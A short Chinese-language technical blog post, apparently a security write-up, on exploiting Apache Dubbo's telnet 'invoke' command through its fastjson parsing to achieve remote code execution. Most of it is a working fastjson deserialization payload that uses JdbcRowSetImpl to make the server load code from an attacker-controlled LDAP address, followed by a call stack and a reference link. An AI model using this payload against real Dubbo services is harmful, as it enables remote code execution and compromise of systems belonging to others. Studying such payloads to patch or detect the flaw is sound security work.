Dubbo调用fastjson

其解析字符串默认使用的是fastjson,可以结合fastjson实现RCE。

invoke ({ "111": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "222": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://192.168.85.1:8089/test_by_cqq", "autoCommit": true })

调用invoke命令然后接(),中间填{}的json格式即可。

调用栈为:

telnet:81, InvokeTelnetHandler (org.apache.dubbo.qos.legacy)
telnet:59, TelnetHandlerAdapter (org.apache.dubbo.remoting.telnet.support)
received:187, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
received:51, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

Dubbo调用fastjson_第1张图片
后面就是fastjson的JSON.parseArray方法的调用过程了。

参考

  • Dubbo服务对外暴露端口的安全风险(上)

你可能感兴趣的:(java,安全,Web)